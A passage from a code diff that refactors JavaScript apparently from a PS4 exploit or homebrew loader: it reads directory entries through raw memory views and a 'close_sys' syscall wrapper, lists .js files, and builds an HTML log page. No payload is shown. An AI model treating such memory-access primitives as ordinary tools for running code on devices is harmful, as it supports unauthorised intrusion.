mem.view(dirent_buf).getUint8(offset + 6) - var d_namlen = mem.view(dirent_buf).getUint8(offset + 7) + const d_reclen = mem.view(dirent_buf).getUint16(offset + 4, true) + const d_type = mem.view(dirent_buf).getUint8(offset + 6) + const d_namlen = mem.view(dirent_buf).getUint8(offset + 7) - var name = '' - for (var i = 0; i < d_namlen; i++) { + let name = '' + for (let i = 0; i < d_namlen; i++) { name += String.fromCharCode(mem.view(dirent_buf).getUint8(offset + 8 + i)) } @@ -111,15 +97,15 @@ function scan_js_files () { } } - fn.close(dir_fd) + close_sys(new BigInt(dir_fd)) return files } -var js_files = scan_js_files() +const js_files = scan_js_files() log('found ' + js_files.length + ' js files') // build html with log panel and button -var html = '\n' + +const html = '\n' + '\n' + '\n' + 'ps4\n' + @@ -140,12 +126,12 @@ var html = '\n' + '\n' + '
disconnected
\n' + '